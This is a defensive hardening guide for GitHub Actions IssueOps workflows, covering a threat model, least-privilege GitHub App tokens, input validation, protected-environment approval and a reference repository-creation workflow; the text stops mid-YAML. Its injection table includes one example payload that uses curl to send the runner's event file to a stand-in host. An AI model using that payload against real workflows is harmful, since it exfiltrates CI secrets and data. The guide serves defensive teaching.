| render_with_liquid | false |
|---|---|
| description | Hardening guide for GitHub Actions workflows that use IssueOps to create or update GitHub resources such as repositories, team access, and custom properties |
Document status
- Last reviewed: 2026-09-30
- Authorship: Drafted with AI assistance (GitHub Copilot, multi-model review) and reviewed by a human maintainer before publication.
- Sources: Based on public documentation, primarily docs.github.com, the GitHub Well-Architected Framework, the IssueOps documentation, and the official action repositories cited inline.
- Verify before acting: GitHub updates product documentation and action releases continuously. Re-confirm against the live source pages, and test every workflow in a sandbox organization before relying on this content for production decisions.
- Overview
- How an IssueOps request flows
- Threat model
- Defense-in-depth layers
- Platform and organization settings
- Harden the IssueOps repository
- Automation identity with GitHub Apps
- Treat issue content as untrusted
- Authorization and approval
- Execute changes safely
- Reference implementation: new repository request
- Secure reusable workflows and their inputs
- Supply chain for the automation itself
- Runners
- Monitoring and audit
- Testing the workflows
- Patterns to avoid from public samples
- Implementation validation checklist
- References
IssueOps uses GitHub Issues as the request interface and GitHub Actions as the automation engine. A user fills in an issue form, a workflow parses and validates it, an authorized person approves it, and a workflow performs the change. Platform teams use this pattern for self-service administration: creating repositories, granting team access, setting custom properties, or onboarding users.
These workflows combine the two ingredients an attacker looks for:
- Input that any requester controls (issue titles, bodies, comments)
- A credential that can change organization-wide settings (a GitHub App installation token or, worse, a personal access token)
The GitHub Well-Architected Framework puts it plainly: CI/CD tools "inherently provide remote code execution as a service". An IssueOps workflow that creates repositories is a remote administration service, and it deserves the same design review as any privileged internal API.
Every recommendation in this guide supports four rules:
- Treat issue content as untrusted. Parse it with a schema, validate it against allowlists, pass values through environment variables, and never place it in
run:orscript:through${{ }}expressions. - Keep the privileged credential away from untrusted input. Validation runs without write credentials; the write credential appears only in a job that has passed human approval.
- Authorize explicitly. Approval comes from a named group through a native control (protected environments), is never self-granted, and is bound to the exact content that was reviewed.
- Trust nothing you did not pin. Actions pinned to full commit SHAs, dependencies installed from a lockfile, and workflow files protected by rulesets and CODEOWNERS.
- GitHub Enterprise Cloud and GitHub Enterprise Server. Several features (environment required reviewers on private or internal repositories, SHA-pinning policy, enterprise installation tokens) depend on plan and version; check each against your instance.
- Workflows triggered by
issuesandissue_commentthat call the GitHub REST or GraphQL API to create or update resources. - PR-based IssueOps flows where noted.
- GitHub Actions Security: Echo Command Injection covers the general injection pattern with more payload examples.
- GitHub Actions Multi-Repo Checkout Strategy covers
GITHUB_TOKENscope and short-lived GitHub App tokens. - Security-by-Default Policies and GitHub Custom Properties cover the guardrails that should apply to every repository the automation creates.
The GitHub Blog article on IssueOps models each request as a finite-state machine: states, events, transitions, guards, and actions. Security design fits the same model. Each guard is a security check, and each transition decides which credential is available.
stateDiagram-v2
[*] --> Opened: issue created from form
Opened --> Validated: validate job passes
Validated --> Opened: issue edited, re-validate
Validated --> Submitted: requester comments .submit
Submitted --> Approved: environment reviewer approves
Submitted --> Rejected: environment reviewer rejects
Approved --> Applied: re-parse, re-validate, digest matches
Approved --> Failed: digest mismatch or API error
Applied --> [*]
Rejected --> [*]
Failed --> [*]
| Transition | Trigger | Job | Credentials available | Untrusted input handled |
|---|---|---|---|---|
| Opened to Validated | issues: opened, edited, reopened |
validate |
GITHUB_TOKEN (issues: write), read-only App token |
Issue title and body |
| Validated to Submitted | issue_comment: created with .submit |
submit |
GITHUB_TOKEN (issues: write), read-only App token |
Issue body, comment body |
| Submitted to Approved | Environment reviewer approval | apply |
None until a reviewer approves | None |
| Approved to Applied | Job resumes after approval | apply |
Write App token scoped per run | Current issue body, re-fetched from API |
- Workflows triggered by
issuesandissue_commentalways run the workflow file from the default branch. A pull request cannot change the workflow that processes a request (IssueOps: Workflow Security). Anything the workflow checks out, such as custom validator scripts, also comes from the default branch unless you check out a different ref. - The
issue_commentevent fires for comments on both issues and pull requests. Filter out pull requests explicitly. - The event payload is a snapshot taken when the event fired. If a job waits for approval, the issue may have changed by the time the job resumes. The apply job must re-read the issue and confirm it still matches what was approved (see 9.4).
- Anyone with read access can open an issue and comment. In an
internalrepository, that is every enterprise member.
| ID | Threat | How it happens in IssueOps | Primary controls |
|---|---|---|---|
| T1 | Script injection | Issue title, body, or comment reaches run: or actions/github-script script: through ${{ }} and executes with the job's token and secrets |
8.2-8.4 |
| T2 | Environment file injection | Untrusted text containing newlines is written to $GITHUB_ENV or $GITHUB_OUTPUT and defines new variables or outputs for later steps |
8.5 |
| T3 | Argument or option injection | A value such as --visibility=public or ../other-repo is passed to a CLI or API path and changes its meaning |
8.7, 10 |
| T4 | Business-logic abuse | A well-formed request asks for something the requester should not get: a public repository, admin role, a team they do not belong to, a reserved name | 8.7, 10 |
| T5 | Unauthorized or self-approval | Anyone comments .approve, applies an approved label, or approves their own request |
9 |
| T6 | Time-of-check to time-of-use (TOCTOU) | The requester edits the issue body after it was validated or reviewed but before the change is applied | 9.4 |
| T7 | Credential theft | The write credential is reachable from a job that processes untrusted input, from a compromised dependency, or from any workflow that can read repository secrets | 6.4, 7, 13 |
| T8 | Malicious workflow or validator change | A contributor changes workflow files, validator scripts, package.json, or allowlists |
6.2 |
| T9 | Pull request comment trigger | A .submit comment on a pull request triggers the same issue_comment workflow |
8.9 |
| T10 | Compromised or mutable third-party code | A tag of a third-party action is moved, or an action pulls unpinned code at runtime | 5.1, 13 |
| T11 | Duplicate or replayed processing | Repeated .submit comments, re-runs, or concurrent events apply the same change twice or in a half-finished state |
9.6 |
| T12 | Information disclosure and spoofing | Bot comments reflect raw input (phishing links, @ mentions), error messages echo secrets, or forms collect sensitive data |
8.10 |
| T13 | Runner compromise | A persistent self-hosted runner keeps state or credentials between jobs | 14 |
| T14 | Untrusted caller or inputs to a reusable workflow | Any repository allowed to call a privileged reusable workflow passes arbitrary with: inputs, selects secrets through secrets: inherit, or steers the environment, runner, or token scope |
12 |
No single control is enough. A validator bug should be caught by the approval gate; a careless approval should be caught by the platform guardrails on the created repository.
| Layer | Purpose | Sections |
|---|---|---|
| 1 | Enterprise and organization policies limit what any workflow can do | 5 |
| 2 | The IssueOps repository protects its own code and secrets | 6 |
| 3 | A least-privilege automation identity bounds the blast radius | 7 |
| 4 | Input handling prevents injection and business-logic abuse | 8, 12 |
| 5 | Authorization gates every privileged transition | 9 |
| 6 | Execution re-checks invariants and fails closed | 10 |
| 7 | Monitoring and testing detect what the other layers miss | 15, 16 |
Configure these once at enterprise or organization level. They protect every IssueOps repository, including the ones you do not know about yet.
- Use the "Allow enterprise, and select non-enterprise, actions and reusable workflows" policy to control which actions can run (WAF: Restrict allowed actions).
- Enable the policy that requires actions and reusable workflows to be pinned to a full-length commit SHA. GitHub offers it at enterprise, organization, and repository level (Secure use reference).
- Manage the allowed-actions list as policy as code (REST API or Terraform) so additions go through review and leave an audit trail, as the WAF suggests.
Set the organization default workflow permission to read repository contents only. Each workflow then declares permissions: {} at the top and grants what it needs per job (WAF: least privilege).
Unless a workflow needs it, disable "Allow GitHub Actions to create and approve pull requests". Automation that can approve its own pull requests can bypass review on the IssueOps repository itself.
If an IssueOps flow accepts pull requests, do not send write tokens or secrets to workflows from fork pull requests, and require approval for fork pull request workflows. The IssueOps repository guidance suggests wrapping PR creation inside the IssueOps flow instead, so forks never need to run workflows.
Enable CodeQL default setup with GitHub Actions analysis on the IssueOps repository. CodeQL detects common vulnerable workflow patterns, including expression injection (Secure use reference). Require code scanning results in the default-branch ruleset.
The automation is not the last line of defense. Enterprise or organization rulesets targeted by custom properties, plus repository policies (for example on visibility changes and deletion), apply to every repository the automation creates. Set governance properties at creation time (see 10) so the right rulesets apply from the first commit. See Security-by-Default Policies and GitHub Custom Properties.
- Requesters only need read access to open issues (IssueOps: Repository). Use
internalvisibility for enterprise-wide self-service, orprivatewith explicit read grants to limit who can submit. - Grant write access only to the maintainers of the automation. Anyone with write access can read repository-level secrets by pushing a workflow to a branch (Secure use reference), which is why the write credential lives in an environment (see 6.4).
- Disable blank issues so requests always start from a form:
# .github/ISSUE_TEMPLATE/config.yml
blank_issues_enabled: falseA requester can still edit the issue body freely after creation, so this is a usability control, not a security boundary. The validator is the boundary.
Protect the default branch with a ruleset:
- Require a pull request with at least two approvals and code owner review
- Require status checks, including code scanning results
- Block force pushes and deletions
- Allow bypass only for a documented break-glass role, and review bypasses in the audit log
Add CODEOWNERS entries for everything that decides what the automation executes:
# .github/CODEOWNERS
/.github/workflows/ @org/platform-security
/.github/ISSUE_TEMPLATE/ @org/platform-security
/.github/validator/ @org/platform-security
/.github/issueops/ @org/platform-security
/package.json @org/platform-security
/package-lock.json @org/platform-security
/.github/CODEOWNERS @org/platform-security
Users with triage access or above can add and remove labels. Use labels to scope jobs and show state, but never as proof of approval. Guards that matter (who submitted, who approved, whether content changed) are checked from the event payload, the API, and environment approvals.
Create an environment, for example issueops-apply, for the job that performs changes:
| Setting | Value |
|---|---|
| Required reviewers | The platform team (up to six users or teams; one approval is enough) |
| Prevent self-review | Enabled, so the person who triggered the run cannot approve it |
| Deployment branches and tags | Selected branches: the default branch only |
| Allow administrators to bypass | Disabled |
| Environment secrets | The write App private key. Nowhere else: not a repository secret, not an organization secret |
A job cannot read environment secrets until a required reviewer approves it (Deployments and environments). Because issues and issue_comment runs use the default-branch ref, the branch restriction does not block IssueOps runs, but it does block a workflow pushed to a feature branch from referencing the environment.
Important
On GitHub Free, Pro, and Team plans, required reviewers and administrator-bypass controls are available only for public repositories. For a private or internal IssueOps repository you need GitHub Enterprise. Without required reviewers, implement comment-based approval as described in 9.3, and accept that the key is less isolated.
Warning
Workflows on self-hosted runners are not isolated even when they use environments. Environment secrets on a shared self-hosted runner should be treated like repository secrets (Deployments and environments).
A personal access token acts as a person, survives role changes, and is usually over-scoped. Use a GitHub App owned by the organization, with webhooks disabled and only the permissions it needs (IssueOps: GitHub App). Generate a short-lived installation token in each job with actions/create-github-app-token. The token is masked, expires after one hour, and is revoked when the job ends unless you set skip-token-revoke. Do not set it.
Note
Older IssueOps guidance says GitHub Apps cannot be used for enterprise administrative APIs and recommends a machine-user PAT. Current releases of actions/create-github-app-token accept an enterprise input that creates a token for an enterprise installation. Check whether the enterprise APIs you need support App installation tokens before falling back to a PAT, and if you must use one, prefer a fine-grained token on a dedicated account.
A single App whose key is available to every job gives the validation job, which processes untrusted input, the same power as the apply job. Use two Apps:
| App | Permissions (starting point, verify per endpoint) | Installation | Key stored as | Used by |
|---|---|---|---|---|
issueops-reader |
Organization: Members read. Repository: Metadata read (granted by default) | All repositories, so existence checks see private repositories | Repository secret | Validation in every job |
issueops-writer |
Repository: Administration write, Custom properties write. Organization: Members read | As narrow as your operations allow; test in a sandbox | Environment secret on issueops-apply only |
The apply job, after approval |
- Check each REST endpoint's "Fine-grained access" section for the exact permission it needs, and add nothing else.
- Selecting repositories on an installation does not make organization-level permissions repository-scoped. Keep organization permissions to the minimum.
- Creating repositories in an organization may require an installation on all repositories. If so, compensate with per-run token scoping and the approval gate.
- Store the App client ID as a variable; it is not sensitive. Store private keys as secrets and rotate them on a schedule and whenever a maintainer with access leaves.
actions/create-github-app-token lets each job request a subset of the installation's permissions and repositories. By default a token inherits all installation permissions, so always list what the job needs:
- name: Create write token
id: writer
uses: actions/create-github-app-token@<SHA> # v3
with:
client-id: ${{ vars.ISSUEOPS_WRITER_CLIENT_ID }}
private-key: ${{ secrets.ISSUEOPS_WRITER_PRIVATE_KEY }}
owner: ${{ github.repository_owner }}
permission-administration: write
permission-members: readThe action rejects permissions the installation does not have, so a typo fails closed.
Some IssueOps examples grant id-token: write at workflow level. actions/create-github-app-token signs its request with the App private key and does not need an OIDC token. Grant id-token: write only to a job that authenticates to a cloud provider or vault through OIDC, for example to fetch the App key from Azure Key Vault instead of storing it in GitHub.
Use the workflow's own GITHUB_TOKEN (with job-level issues: write) for comments, labels, and closing the request issue. Use the App token only for calls outside the IssueOps repository (IssueOps: GitHub App). Pass the App token only to the steps that need it; every step that receives it is part of your trusted computing base.
Everything a requester can type or influence, and everything derived from it:
github.event.issue.titleandgithub.event.issue.bodygithub.event.comment.body- Values from issue forms, including dropdowns: the form UI limits choices, but the requester can edit the Markdown body after submission
- Outputs of
issue-ops/parser(jsonandparsed_<key>) - Outputs of
issue-ops/validator(errorsmay contain text derived from input) - Any step output, artifact, or API response that includes the above
github.head_refand branch names, commit messages, and PR titles and bodies, for PR-based flows
GitHub Security Lab's untrusted input guidance lists more contexts.
${{ }} expressions are expanded before the step runs. Whatever the expression returns becomes part of the script source.
| Sink | Why it is dangerous | Safe alternative |
|---|---|---|
run: shell scripts |
A value like a"; curl -d @$GITHUB_EVENT_PATH evil.example; " becomes shell code |
Intermediate environment variable, quoted ("$VALUE") |
actions/github-script script: |
A single quote in the value closes a JavaScript string literal, and the rest runs with the job's token | Environment variable read through process.env |
$GITHUB_ENV, $GITHUB_OUTPUT, $GITHUB_PATH |
A newline in the value defines extra variables or outputs, or prepends to PATH |
core.setOutput, or do not persist untrusted text |
| CLI arguments | A value starting with - is parsed as an option; a value with / or .. can change an API path |
Strict allowlist validation, API calls with typed parameters, -- end-of-options |
| Bot comments | Raw Markdown can carry links, images, or @ mentions that impersonate the bot |
Render only validated values, inside code spans |
if: conditions are evaluated by the Actions expression engine, not a shell, so they are not a script-injection sink. They are a logic sink: write exact comparisons (see 8.9).
# Vulnerable: the title becomes part of the script
- run: echo "Processing ${{ github.event.issue.title }}"
# Safe: the title is data in an environment variable
- env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: echo "Processing $ISSUE_TITLE"This is the approach the Secure use reference recommends for inline scripts. Quote the variable to avoid word splitting. Better still, pass the value as an input (with:) to an action, which never becomes shell source.
actions/github-script runs JavaScript with an authenticated Octokit client. Treat script: exactly like run:.
# Vulnerable: a ' in any form field ends the string literal
- uses: actions/github-script@<SHA> # v8
with:
github-token: ${{ steps.writer.outputs.token }}
script: |
const request = JSON.parse('${{ steps.parse.outputs.json }}')
# Safe: the JSON arrives as data
- uses: actions/github-script@<SHA> # v8
env:
PARSED: ${{ steps.parse.outputs.json }}
with:
github-token: ${{ steps.writer.outputs.token }}
script: |
const request = JSON.parse(process.env.PARSED)Expressions over trusted, non-user values such as github.run_id are safe, but using process.env everywhere keeps reviews simple: any ${{ inside script: is a finding.
Do not copy request fields into $GITHUB_ENV or $GITHUB_PATH. For outputs, use core.setOutput from github-script, which encodes values safely. If a shell step must write a multiline output, use a random delimiter:
delimiter="EOF_$(openssl rand -hex 16)"
{
echo "summary<<$delimiter"
printf '%s\n' "$SUMMARY"
echo "$delimiter"
} >> "$GITHUB_OUTPUT"The WAF also warns against defining global environment variables in $GITHUB_ENV from untrusted data in workflow_run workflows.
Use issue forms and issue-ops/parser with the issue-form-template input. With the template, the parser keys fields by their id and converts types: dropdowns become arrays and checkboxes become selected and unselected lists. Without the template, every value is an unchecked string.
Design forms for validation:
- Use
dropdownfor every enumerated choice (visibility, role, template, classification). The validator rejects selections that are not in the template. - Use
inputfor identifiers that need a pattern (repository name, team slug). - Use
textareaonly for text that humans read, such as a justification. The automation never executes it. - Never ask for secrets. The IssueOps best practices recommend fields that reference sensitive information stored elsewhere.
issue-ops/validator checks the parsed body against the form template (required fields, input types, dropdown and checkbox selections) and runs custom validators you define in .github/validator/config.yml.
| Field | Rule |
|---|---|
| Repository name | Organization naming standard, for example ^[a-z0-9][a-z0-9-]{1,62}[a-z0-9]$; not reserved; does not already exist |
| Visibility | Dropdown limited to private and internal. Never offer public through self-service |
| Owning team | Slug pattern; team exists; requester is an active member |
| Team role | Dropdown limited to push and maintain. Never grant admin through self-service |
| Template repository | Dropdown of approved templates |
| Custom properties | Dropdown values that match the property's allowed values; compliance-driving properties set only by the automation |
Custom validators are code that runs inside the job:
- The validator README warns that running arbitrary scripts is dangerous and recommends
on: issuestriggers, which use the default branch. Never check out a pull request or other untrusted ref into the workspace where the validator runs. - Install dependencies with
npm ci --ignore-scriptsfrom a committed lockfile. - Give custom validators a read-only token through an environment variable, not the write token.
- Return fixed error messages. Do not reflect the submitted value back, because validator errors end up in comments and step outputs.
Enforce the same invariants again in the apply code (see 10). A form change that accidentally adds public to a dropdown should still fail.
The requester can edit the issue body at any time. The IssueOps best practices say to validate at every step. In practice:
- The
validatejob runs onopened,edited, andreopened. - The
submitjob re-parses and re-validates before asking for approval. - The
applyjob re-fetches the current issue from the API, re-parses, re-validates, and compares the result with what was approved.
Guard every issue_comment job:
if: >-
!github.event.issue.pull_request &&
github.event.issue.state == 'open' &&
contains(github.event.issue.labels.*.name, 'issueops:new-repository') &&
startsWith(github.event.comment.body, '.submit') &&
github.event.comment.user.login == github.event.issue.user.login &&
github.event.comment.user.type == 'User'!github.event.issue.pull_requeststops pull request comments from triggering the job.startsWithis only a coarse filter. The first step of the job then requires the trimmed comment to equal.submitexactly, which tolerates trailing whitespace or newlines but rejects.submit-and-somethingor extra text.- The author check means only the requester can submit their own request.
- The type check ignores bot comments, including your own automation's.
Bot comments are trusted by readers because they come from the automation. Render only validated values, inside code spans, and never render free-text fields. If you customize validator comment templates (success.mustache, failure.mustache), apply the same rule.
| Action | Who | Enforced by |
|---|---|---|
| Open a request | Anyone with read access | Repository visibility and access |
| Submit a request | The issue author only | Job if: guard comparing comment author and issue author |
| Approve or reject | Platform team, never the requester | Environment required reviewers with prevent self-review |
| Change workflows or validators | Code owners, through reviewed pull requests | Rulesets and CODEOWNERS |
| Bypass | Documented break-glass role | Ruleset bypass list, reviewed in the audit log |
Put the job that performs changes behind the issueops-apply environment from 6.4:
- The run is triggered by the requester's
.submitcomment, so the requester is the user who initiated it. With prevent self-review enabled, the requester cannot approve it, even if they are a platform team member. - The approval is recorded by GitHub with the approver's identity, and it happens before the job can read the write key.
- Rejecting the deployment stops the job before any step runs. No custom
.denylogic is needed, but the requester is not told automatically: the reviewer comments on the issue, or a separate notification workflow reports rejected runs.
Reviewers approve in the workflow run, not in the issue. The submit job writes the validated values and the request digest both to the issue and to its job summary, which reviewers see on the run page where they approve. Reviewers should confirm that the summary matches the issue before approving; the digest check then guarantees that what runs is what they saw.
If environments with required reviewers are not available, the approval job must do everything the environment would have done:
- Check that the commenter is an active member of the approver team through the API (
GET /orgs/{org}/teams/{team_slug}/memberships/{username}), and fail closed on any error. - Reject approval from the issue author.
- Do not rely on
author_association. It describes the commenter's relationship to the repository, not membership of your approver team. - Generate the write token only after these checks pass, in the same job.
- Store the write key as a secret that only default-branch workflows can use, and accept that anyone with write access to the repository can reach repository secrets.
Without this step, a requester can submit a valid request, wait until a reviewer opens the approval page, then edit the issue body. The job that resumes would either process the stale payload (which no longer matches what reviewers see in the issue) or, if it re-reads the issue, process content nobody reviewed.
- In the
submitjob, compute a SHA-256 digest over the canonical parsed request and post it in the review summary. - Pass the digest to the
applyjob as a job output. - In the
applyjob, fetch the current issue body from the API, parse and validate it, compute the digest again, and stop if it differs.
The requester then has to submit again, and reviewers approve the new content. Locking the issue after submission reduces noise, but locking controls comments, so keep the digest check.
The IssueOps blog sample tracks state with validated, submitted, approved, and denied labels. That is useful for users and for scoping jobs. Do not treat an approved label as approval: anyone with triage access can add it.
- Add job-level
concurrencykeyed on the issue number to the apply job, withcancel-in-progress: false, so two runs never apply the same request at once. A concurrency group holds at most one running and one pending job; a newer pending job cancels an older pending one. Depending on timing, an earlier submission can therefore be cancelled before review, and the requester resubmits. Test this behavior in the sandbox. - Add a separate concurrency group to the submit job so repeated
.submitcomments do not produce duplicate review summaries. - Make the change idempotent. Check that the repository does not exist before creating it, and treat "already exists" as a failure that a human looks at, not as success.
- Close the issue when the change completes. Guards that require
state == 'open'stop replays from later comments.
- Separate validation and execution into different jobs. The validation jobs have no write credential; the apply job gets one only after approval. Pass only the digest between jobs and re-derive everything else from the API.
- Prefer API calls with typed parameters (
actions/github-scriptand Octokit) over shell and theghCLI. If you must use a CLI, pass values through environment variables, quote them, and put--before positional arguments. - Re-check invariants in the apply code even though the validator already did: visibility is never
public, role is neveradmin, name matches the pattern, classification is an allowed value. Fail closed on anything unexpected. - Set governance metadata when the resource is created. The create-organization-repository endpoint accepts
custom_properties, so rulesets targeted by those properties apply from the start instead of after a second call. - Request the write token as late as possible and give it only to the steps that call the API.
- Handle partial failure. Creating a repository and granting access are separate API calls. Record which calls succeeded, report a partial state clearly (repository URL plus the step that failed), and leave cleanup to a human. Do not let the automation delete repositories to roll back.
- Report what happened. Post a final comment with the result, the approver's login, the digest, and the run link, then close the issue. Recording the approver in the issue keeps the evidence after run logs expire.
- Keep destructive operations (deletion, visibility changes to
public, transfers, admin grants) out of self-service, or put them behind a separate environment with a different reviewer group.
This example creates a repository, grants a team access, and sets a custom property. It applies the controls from sections 5 to 10.
Important
Replace every <SHA> with the full-length commit SHA of a reviewed release from the action's own repository, and keep the version comment so Dependabot can propose updates. The version comments reflect the major versions current at the time of writing. Test in a sandbox organization first.
.github/
CODEOWNERS
ISSUE_TEMPLATE/
config.yml
new-repository.yml
issueops/
digest.cjs
validator/
config.yml
owning-team.js
repository-name.js
workflows/
issueops-validate.yml
issueops-new-repository.yml
package.json
package-lock.json
package.json sets "type": "module" (the validator requires ESM scripts) and depends on @actions/core and @octokit/rest. Commit the lockfile.
# .github/ISSUE_TEMPLATE/new-repository.yml
name: New repository request
description: Request a new repository in this organization
title: "[New repository] "
labels:
- issueops:new-repository
body:
- type: markdown
attributes:
value: |
Do not include secrets or personal data. Values are validated automatically,
and a platform team member approves every request.
- type: input
id: repository_name
attributes:
label: Repository name
description: 3 to 64 characters. Lowercase letters, digits, and hyphens. Starts and ends with a letter or digit.
placeholder: payments-api
validations:
required: true
- type: dropdown
id: visibility
attributes:
label: Visibility
options:
- private
- internal
validations:
required: true
- type: input
id: owning_team
attributes:
label: Owning team slug
description: You must be an active member of this team.
placeholder: payments-engineering
validations:
required: true
- type: dropdown
id: team_role
attributes:
label: Team role
options:
- push
- maintain
validations:
required: true
- type: dropdown
id: data_classification
attributes:
label: Data classification
options:
- general
- confidential
- restricted
validations:
required: true
- type: textarea
id: justification
attributes:
label: Business justification
description: Read by reviewers only. The automation never executes or reposts this text.
validations:
required: true# .github/validator/config.yml
validators:
- field: repository_name
script: repository-name.js
- field: owning_team
script: owning-team.js// .github/validator/repository-name.js
import { Octokit } from '@octokit/rest'
const NAME_PATTERN = /^[a-z0-9][a-z0-9-]{1,62}[a-z0-9]$/
const RESERVED = new Set(['admin', 'security', 'github', 'issueops'])
export default async (field) => {
if (typeof field !== 'string' || !NAME_PATTERN.test(field) || RESERVED.has(field)) {
return 'Repository name does not meet the naming standard.'
}
const github = new Octokit({ auth: process.env.VALIDATOR_TOKEN })
try {
await github.rest.repos.get({ owner: process.env.ORGANIZATION, repo: field })
return 'A repository with this name already exists.'
} catch (error) {
if (error.status === 404) return 'success'
throw error
}
}// .github/validator/owning-team.js
import { Octokit } from '@octokit/rest'
const SLUG_PATTERN = /^[a-z0-9][a-z0-9-]{0,99}$/
export default async (field) => {
if (typeof field !== 'string' || !SLUG_PATTERN.test(field)) {
return 'Team slug is not valid.'
}
const github = new Octokit({ auth: process.env.VALIDATOR_TOKEN })
try {
const { data } = await github.rest.teams.getMembershipForUserInOrg({
org: process.env.ORGANIZATION,
team_slug: field,
username: process.env.REQUESTER
})
return data.state === 'active'
? 'success'
: 'You must be an active member of the owning team.'
} catch (error) {
if (error.status === 404) return 'The team does not exist or you are not a member of it.'
throw error
}
}The error messages are fixed strings. The validator token comes from VALIDATOR_TOKEN, a read-only token, so custom scripts never see the write credential. The existence check in repository-name.js only sees repositories the reader App can see; the apply job still fails if creation returns "name already exists".
// .github/issueops/digest.cjs
const crypto = require('node:crypto')
const canonical = (value) =>
Array.isArray(value)
? value.map(canonical)
: value && typeof value === 'object'
? Object.fromEntries(Object.keys(value).sort().map((key) => [key, canonical(value[key])]))
: value
module.exports = (parsed) =>
crypto.createHash('sha256').update(JSON.stringify(canonical(parsed))).digest('hex')Sorting keys at every level makes the digest independent of key order. Do not use JSON.stringify(value, keysArray) for this: a key array filters nested objects too and silently drops fields.
# .github/workflows/issueops-validate.yml
name: IssueOps - validate request
on:
issues:
types: [opened, edited, reopened]
permissions: {}
jobs:
validate:
if: contains(github.event.issue.labels.*.name, 'issueops:new-repository')
runs-on: ubuntu-latest
timeout-minutes: 10
concurrency:
group: issueops-validate-${{ github.event.issue.number }}
cancel-in-progress: true
permissions:
contents: read
issues: write
steps:
- name: Check out default branch
uses: actions/checkout@<SHA> # v6
with:
persist-credentials: false
- name: Set up Node.js
uses: actions/setup-node@<SHA> # pin the reviewed release
with:
node-version: 24
- name: Install validator dependencies
run: npm ci --ignore-scripts
- name: Create read-only token
id: reader
uses: actions/create-github-app-token@<SHA> # v3
with:
client-id: ${{ vars.ISSUEOPS_READER_CLIENT_ID }}
private-key: ${{ secrets.ISSUEOPS_READER_PRIVATE_KEY }}
owner: ${{ github.repository_owner }}
permission-members: read
permission-metadata: read
- name: Parse issue body
id: parse
uses: issue-ops/parser@<SHA> # v5
with:
body: ${{ github.event.issue.body }}
issue-form-template: new-repository.yml
workspace: ${{ github.workspace }}
- name: Validate request
id: validate
uses: issue-ops/validator@<SHA> # v4
env:
ORGANIZATION: ${{ github.repository_owner }}
REQUESTER: ${{ github.event.issue.user.login }}
VALIDATOR_TOKEN: ${{ steps.reader.outputs.token }}
with:
add-comment: true
github-token: ${{ github.token }}
issue-form-template: new-repository.yml
parsed-issue-body: ${{ steps.parse.outputs.json }}
workspace: ${{ github.workspace }}body: ${{ github.event.issue.body }}is safe here because it is an action input, not script source.- The validator comments with the workflow's own
GITHUB_TOKEN; custom validators use the reader token from the environment. - No step writes request data to the log,
$GITHUB_ENV, or a shell command.
# .github/workflows/issueops-new-repository.yml
name: IssueOps - new repository
on:
issue_comment:
types: [created]
permissions: {}
jobs:
submit:
name: Re-validate and submit for approval
if: >-
!github.event.issue.pull_request &&
github.event.issue.state == 'open' &&
contains(github.event.issue.labels.*.name, 'issueops:new-repository') &&
startsWith(github.event.comment.body, '.submit') &&
github.event.comment.user.login == github.event.issue.user.login &&
github.event.comment.user.type == 'User'
runs-on: ubuntu-latest
timeout-minutes: 10
concurrency:
group: issueops-submit-${{ github.event.issue.number }}
cancel-in-progress: true
permissions:
contents: read
issues: write
outputs:
digest: ${{ steps.digest.outputs.sha256 }}
steps:
- name: Require the exact command
uses: actions/github-script@<SHA> # v8
env:
COMMENT: ${{ github.event.comment.body }}
with:
script: |
if (process.env.COMMENT.trim() !== '.submit') throw new Error('Unrecognized command.')
- uses: actions/checkout@<SHA> # v6
with:
persist-credentials: false
- uses: actions/setup-node@<SHA> # pin the reviewed release
with:
node-version: 24
- run: npm ci --ignore-scripts
- name: Create read-only token
id: reader
uses: actions/create-github-app-token@<SHA> # v3
with:
client-id: ${{ vars.ISSUEOPS_READER_CLIENT_ID }}
private-key: ${{ secrets.ISSUEOPS_READER_PRIVATE_KEY }}
owner: ${{ github.repository_owner }}
permission-members: read
permission-metadata: read
- name: Parse issue body
id: parse
uses: issue-ops/parser@<SHA> # v5
with:
body: ${{ github.event.issue.body }}
issue-form-template: new-repository.yml
workspace: ${{ github.workspace }}
- name: Validate request
id: validate
uses: issue-ops/validator@<SHA> # v4
env:
ORGANIZATION: ${{ github.repository_owner }}
REQUESTER: ${{ github.event.issue.user.login }}
VALIDATOR_TOKEN: ${{ steps.reader.outputs.token }}
with:
add-comment: false
github-token: ${{ github.token }}
issue-form-template: new-repository.yml
parsed-issue-body: ${{ steps.parse.outputs.json }}
workspace: ${{ github.workspace }}
- name: Stop if validation failed
if: steps.validate.outputs.result != 'success'
run: |
echo "::error::Validation failed. Fix the issue body and comment .submit again."
exit 1
- name: Compute request digest
id: digest
uses: actions/github-script@<SHA> # v8
env:
PARSED: ${{ steps.parse.outputs.json }}
with:
script: |
const digest = require('./.github/issueops/digest.cjs')
core.setOutput('sha256', digest(JSON.parse(process.env.PARSED)))
- name: Post review summary
uses: actions/github-script@<SHA> # v8
env:
PARSED: ${{ steps.parse.outputs.json }}
DIGEST: ${{ steps.digest.outputs.sha256 }}
with:
script: |
const request = JSON.parse(process.env.PARSED)
const runUrl = `${context.serverUrl}/${context.repo.owner}/${context.repo.repo}/actions/runs/${context.runId}`
const body = [
'Request submitted. A platform team member reviews it in the pending workflow run.',
'',
'| Field | Value |',
'|---|---|',
`| Repository | \`${request.repository_name}\` |`,
`| Visibility | \`${request.visibility?.[0]}\` |`,
`| Owning team | \`${request.owning_team}\` |`,
`| Team role | \`${request.team_role?.[0]}\` |`,
`| Data classification | \`${request.data_classification?.[0]}\` |`,
'',
`Request digest: \`${process.env.DIGEST}\``,
'',
`Reviewers: approve or reject in [the workflow run](${runUrl}). Editing the issue now cancels this request.`
].join('\n')
await github.rest.issues.createComment({ ...context.repo, issue_number: context.issue.number, body })
// The job summary is shown on the run page where reviewers approve.
await core.summary.addRaw(body).write()
apply:
name: Create repository
needs: submit
runs-on: ubuntu-latest
timeout-minutes: 15
environment: issueops-apply
concurrency:
group: issueops-apply-${{ github.event.issue.number }}
cancel-in-progress: false
permissions:
actions: read
contents: read
issues: write
steps:
- uses: actions/checkout@<SHA> # v6
with:
persist-credentials: false
- uses: actions/setup-node@<SHA> # pin the reviewed release
with:
node-version: 24
- run: npm ci --ignore-scripts
- name: Fetch the current issue
id: current
uses: actions/github-script@<SHA> # v8
with:
script: |
const { data } = await github.rest.issues.get({ ...context.repo, issue_number: context.issue.number })
const labels = data.labels.map((label) => (typeof label === 'string' ? label : label.name))
if (data.state !== 'open') throw new Error('The request is no longer open.')
if (!labels.includes('issueops:new-repository')) throw new Error('The request label was removed.')
core.setOutput('body', data.body ?? '')
- name: Create read-only token
id: reader
uses: actions/create-github-app-token@<SHA> # v3
with:
client-id: ${{ vars.ISSUEOPS_READER_CLIENT_ID }}
private-key: ${{ secrets.ISSUEOPS_READER_PRIVATE_KEY }}
